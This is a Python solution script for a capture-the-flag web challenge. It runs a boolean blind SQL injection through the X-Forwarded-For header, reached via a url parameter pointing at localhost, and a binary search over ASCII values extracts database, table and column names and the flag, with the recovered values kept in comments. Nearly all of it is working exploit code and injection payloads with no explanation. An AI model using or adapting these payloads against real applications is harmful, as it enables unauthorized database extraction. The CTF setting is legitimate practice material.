复制 import requests
url = 'http://node3.buuoj.cn:29612/?url=http://127.0.0.1/'
# ctf
def get_database():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0' or (ascii(substr((select database()),{i},1))>{mid}) or '0"
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': payload
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
r = requests.get(url=url, headers=header)
if 'Last Ip: 1' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# information_schema,ctf,F4l9_D4t4B45e
def get_all_database():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0' or (ascii(substr(reverse((select group_concat(schema_name) from information_schema.schemata)),{i},1))>{mid}) or '0"
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': payload
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
r = requests.get(url=url, headers=header)
if 'Last Ip: 1' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# F4l9_t4b1e
def get_table():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0' or (ascii(substr(((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e')),{i},1))>{mid}) or '0"
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': payload
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
r = requests.get(url=url, headers=header)
if 'Last Ip: 1' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# F4l9_C01uMn
def get_column():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
payload = f"0' or (ascii(substr(((select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e')),{i},1))>{mid}) or '0"
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': payload
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
r = requests.get(url=url, headers=header)
if 'Last Ip: 1' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
# flag{0238f77f-f8af-457d-bc43-0224d4d98428}
def get_flag():
flag = ''
for i in range(1, 100):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
# flag在另外一个数据库
payload = f"0' or (ascii(substr(reverse((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e)),{i},1))>{mid}) or '0"
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': payload
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
requests.get(url=url, headers=header)
header = {
'Cookie': 'track_uuid=2a04ebb6-db29-4542-8183-4adb4e1fd008',
'X-Forwarded-For': '123456'
}
r = requests.get(url=url, headers=header)
if 'Last Ip: 1' in r.text:
low = mid + 1
else:
high = mid
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
get_flag()